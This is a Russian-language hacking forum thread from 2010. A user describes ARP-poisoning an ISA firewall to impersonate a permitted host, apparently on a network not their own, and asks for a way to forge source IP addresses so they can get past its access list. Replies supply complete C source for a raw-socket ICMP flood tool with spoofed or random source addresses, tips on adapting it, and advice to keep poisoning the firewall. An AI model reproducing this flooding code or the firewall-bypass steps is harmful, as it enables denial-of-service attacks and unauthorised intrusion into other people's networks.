ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Обойти сетевой экран
  #1  
Старый 10.06.2010, 02:33
Аватар для evil6its
evil6its
Новичок
Регистрация: 04.06.2010
Сообщений: 3
Провел на форуме:
1607

Репутация: 0
По умолчанию Обойти сетевой экран

У меня такая ситуация. В соседней сети имеется машина защищённая фаерволом ISA, данный сетевой экран фильтрует трафик между двумя сетями. Фильтрация идёт по IP адресам.

Есть второй комп из моей сети, которому доступ к сервисам защищённого хоста разрешён. Мне удалось заспуфить MAC адрес выдав свой MAC за разрешённый отравив таблицу MAC адресов на сетевом экране. Затем я заслал пару пакетов с флагом SYN на пару портов защищённого хоста утилитами hping и nemesis, в ответ пришли пакеты с флажками SYN\ACK, что означает что сервис доступен, то есть защиту можно обойти.

Но теперь я застрял. Я хочу сделать так чтобы возможно было инициализировать сессию со своей машины, но на выходе мне нужно, что бы возможно было подставить подделанный IP адрес, тем самым обмануть access лист. Я пробовал с netcat и кучей других прог под линуксом, однако ничего не получается возможно что то не так делаю.
Нужен скрипт или прога которая бы позволила на выходе подставлять в заголовки пакетов, левый IP.

К слову у меня была идея создать что то вроде локального туннеля с двумя открытыми портами. Куда бы я указал допустим своей программе на локальный хост порт 1 и автоматом это перебрасовалось бы на целевой хост с целевым портом и подделанным IP адресом.
Пробовал вариации типа :
nc -l p 4433 | nc -s 192.168.spo.of 192.168.ta.rg -p 3389
nc -l p 4433 > nc -s 192.168.spo.of 192.168.ta.rg -p 3389 и т. д.

Однако ничего не выходит. У кого нибудь есть идея, или может кто знает софтину которая бы могла переадресовать трафик и подменить ИП на выходе.
Решение я естественно ищу под линукс.
 
Ответить с цитированием

  #2  
Старый 10.06.2010, 02:59
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Цитата:
Сообщение от evil6its  
Мне удалось заспуфить MAC адрес выдав свой MAC за разрешённый отравив таблицу MAC адресов на сетевом экране.
Что значит заспуфить MAC? ты имеешь ввиду arp спуфинг ?
Опиши подробнее конфигурацию сети.
__________________
Cервер cs 1.6
cs.antichat.net:27015
 
Ответить с цитированием

  #3  
Старый 10.06.2010, 05:00
Аватар для lukmus
lukmus
Постоянный
Регистрация: 18.11.2009
Сообщений: 709
Провел на форуме:
1410429

Репутация: 214


По умолчанию

Цитата:
Нужен скрипт или прога которая бы позволила на выходе подставлять в заголовки пакетов, левый IP.
Тут код для icmp-flooding, собирается пакет ip и собственно исходный ip меняется на заданный и отправляется широковещательный запрос.
Тебе соответсвенно нужно отправлять свои пакеты и не бесконечно, поэтому следует убрать бесконечный цикл и подкорретировать содержание пакетов.

Для того чтобы эта штука работала необходимо старенькое какое-нить ядро, или покрайней мере отключить там всякие selinux и прочие штуки.

Цитата:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

/*--------------------------------------*/
/* Преобразование имени узла в IP-адрес */
/*--------------------------------------*/
unsigned long resolve(char *hostname)
{
struct hostent *hp;

if ( (hp = gethostbyname(hostname)) == NULL) {
herror("gethostbyname() failed");
exit(-1);
}

return *(unsigned long *)hp->h_addr_list[0];
}

/*------------------------------*/
/* Вычисление контрольной суммы */

/*------------------------------*/
unsigned short in_cksum(unsigned short *addr, int len)
{
unsigned short result;
unsigned int sum = 0;

/* складываем все двухбайтовые слова */
while (len > 1) {
sum += *addr++;
len -= 2;
}

/* если остался лишний байт, прибавляем его к сумме */
if (len == 1)
sum += *(unsigned char*) addr;

sum = (sum >> 16) + (sum & 0xFFFF);
/* добавляем перенос */
sum += (sum >> 16);
/* еще раз */
result = ~sum;
/* инвертируем результат */
return result;
}

/*------------------------*/
/* Главная функция main() */
/*------------------------*/

int main(int argc, char *argv[])
{
int sd;
const int on = 1;
int rnd = 0;
unsigned long dstaddr, srcaddr;
struct sockaddr_in servaddr;

char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));

if (argc != 3)
{
fprintf(stderr,
"Usage: %s <source address | random> <destination address>\n",
argv[0]);
exit (-1);
}

/* создаем raw-сокет */
if ( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed");
exit(-1);
}

/* так как будем самостоятельно заполнять IP-заголовок,
то устанавливаем опцию IP_HDRINCL */
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt() failed");
exit(-1);
}

/* даем возможность посылать широковещательные сообщения */
if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt() failed");
exit(-1);
}

/* если в первом аргументе командной строки указано random,
то IP-адрес источника выбирается случайным образом */
if (!strcmp(argv[1], "random")) {
rnd = 1;
srcaddr = random();
} else
srcaddr = resolve(argv[1]);

/* IP-адрес жертвы */
dstaddr = resolve(argv[2]);

bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dstaddr;

/* заполняем IP-заголовок */
ip_hdr->ihl = 5;
ip_hdr->version = 4;
ip_hdr->tos = 0;
ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) + 1400);
ip_hdr->id = 0;
ip_hdr->frag_off = 0;
ip_hdr->ttl = 255;
ip_hdr->protocol = IPPROTO_ICMP;
ip_hdr->check = 0;
ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr));
ip_hdr->saddr = srcaddr;
ip_hdr->daddr = dstaddr;

/* заполняем ICMP-заголовок */
icmp_hdr->icmp_type = ICMP_ECHO;
icmp_hdr->icmp_code = 0;
icmp_hdr->icmp_id = 1;
icmp_hdr->icmp_seq = 1;
icmp_hdr->icmp_cksum = 0;
icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);

/* в бесконечном цикле отправляем пакеты */
while (1) {
if (sendto(sd,
sendbuf,
sizeof(sendbuf),
0,
(struct sockaddr *)&servaddr,
sizeof(servaddr)) < 0) {
perror("sendto() failed");
exit(-1);
}

/* взять новый случайный IP-адрес источника, если
в первом аргументе командной строки было указано random */
if (rnd)
ip_hdr->saddr = random();
}

return 0;
}
 
Ответить с цитированием

  #4  
Старый 10.06.2010, 20:19
Аватар для evil6its
evil6its
Новичок
Регистрация: 04.06.2010
Сообщений: 3
Провел на форуме:
1607

Репутация: 0
По умолчанию

Цитата:
Сообщение от lukmus  
Тут код для icmp-flooding, собирается пакет ip и собственно исходный ip меняется на заданный и отправляется широковещательный запрос.
Тебе соответсвенно нужно отправлять свои пакеты и не бесконечно, поэтому следует убрать бесконечный цикл и подкорретировать содержание пакетов.

Для того чтобы эта штука работала необходимо старенькое какое-нить ядро, или покрайней мере отключить там всякие selinux и прочие штуки.
Да спасибо за код, хоть я в программировании и чайник, но попробую покавыряться, может получится.
 
Ответить с цитированием

  #5  
Старый 10.06.2010, 20:13
Аватар для evil6its
evil6its
Новичок
Регистрация: 04.06.2010
Сообщений: 3
Провел на форуме:
1607

Репутация: 0
По умолчанию

Цитата:
Сообщение от (Dm)  
Что значит заспуфить MAC? ты имеешь ввиду arp спуфинг ?
Опиши подробнее конфигурацию сети.
Под этим я имел ввиду то, что я подменил в MAC таблице фаервола соответствие ип адреса с мак адресом разрешённого хоста, на свой мак адрес с помощью утилиты arpspoof. В результате пакеты исходящие от фаерволла идут уже на мой компьютер. Как я предполагаю осталось только, заспуфить свой ИП, чтобы пакеты шедшие от меня проходили через фаерволл и приходили обратно ко мне. По сути дела это 3 уровень модели OSI если так по научному, вот тут я и застрял.

А конфиг сети простой просто один комп коннектится на другой через ISA сервер. Этот сервер по сути дела шлюз, между двумя сетями. Тут я обманываю тока этот шлюз больше ничего не трогаю.
 
Ответить с цитированием

  #6  
Старый 10.06.2010, 21:50
Аватар для guard_force
guard_force
Познающий
Регистрация: 12.08.2008
Сообщений: 34
Провел на форуме:
141375

Репутация: 5
По умолчанию

Чето как то не понятно...зачем подменять ip на выходе если все пойдет через isa ? Ведь у него таблица и так отравлена, обмен между ним и тобой уже происходит по mac адресам ....Должно работать и так...Вот смотри, ты травишь isa , у него твой реальный мак и подмененный ip, он посылает запрос в другую сеть/подсеть с подложным ip, жертва принимает запрос отвечает на подложный ip адрес через isa сервер у которого таблица отравлена (травится постоянно), isa сверяет этот ip c таблицей отвечает на твой mac адрес.... просто постоянно трави isa сервер и обращайся к машине за ним...Кстати какая адресация у сеток?

Последний раз редактировалось guard_force; 10.06.2010 в 22:34.. Причина: error
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Verbatim выпустила сетевой диск со встроенным торрент-клиентом aka dexter Новости мира "железа" 0 02.02.2010 11:43
Synology DS110j – однодисковый сетевой накопитель начального уровня aka_zver Новости мира "железа" 0 23.12.2009 22:53
обойти авторизацию Raz0rnsk Уязвимости 18 09.08.2009 20:32
Сетевой чат от меня Ad Soft - Windows 9 20.09.2006 09:46



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ